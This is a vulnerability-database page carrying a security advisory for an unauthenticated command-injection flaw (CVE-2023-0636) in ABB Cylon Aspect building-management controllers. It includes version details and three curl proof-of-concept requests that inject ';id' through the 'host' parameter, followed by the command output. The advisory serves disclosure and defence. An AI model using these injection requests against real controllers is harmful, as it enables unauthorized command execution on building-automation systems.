Vulners
Lucene search
ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution
🗓️ 24 Sep 2024 00:00:00Reported by Gjoko Krstic (2024)Vulnerability discovered by Prism Infosec (2022)Type 
zeroscience🔗 www.zeroscience.mk👁 364 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2023-0636 | 5 Nov 202416:30 | – | circl |
 | ABB ASPECT 输入验证错误漏洞 | 5 Jun 202300:00 | – | cnnvd |
 | CVE-2023-0636 | 5 Jun 202303:45 | – | cve |
 | CVE-2023-0636 Remote Code Execution via Command Injection | 5 Jun 202303:45 | – | cvelist |
 | EUVD-2023-12670 | 3 Oct 202520:07 | – | euvd |
 | CVE-2023-0636 | 5 Jun 202304:15 | – | nvd |
 | CVE-2023-0636 | 5 Jun 202304:15 | – | osv |
 | ABB Cylon Aspect 3.07.00 Remote Code Execution | 25 Sep 202400:00 | – | packetstorm |
 | Input validation | 5 Jun 202304:15 | – | prion |
 | PT-2023-3095 · Abb · Aspect-Enterprise Asp-Ent-X +19 | 1 Jun 202300:00 | – | ptsecurity |
10
<html><body><p>ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.07.00
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB BMS/BAS controller suffers from an unauthenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the 'host' HTTP GET parameter called by networkDiagAjax.php
script.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic (2024) and Prism Infosec (2022)
@zeroscience
Advisory ID: ZSL-2024-5829
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5829.php
CVE ID: CVE-2023-0636
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-0636
21.04.2024
--
$ cat project
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
$ curl http://192.168.73.31/networkDiagAjax.php?command=traceroute&host=;id
$ curl http://192.168.73.31/networkDiagAjax.php?command=nslookup&host=;id
$ curl http://192.168.73.31/networkDiagAjax.php?command=ping&host=;id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Sep 2024 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 3.17.2 - 9.8
EPSS0.00319
SSVC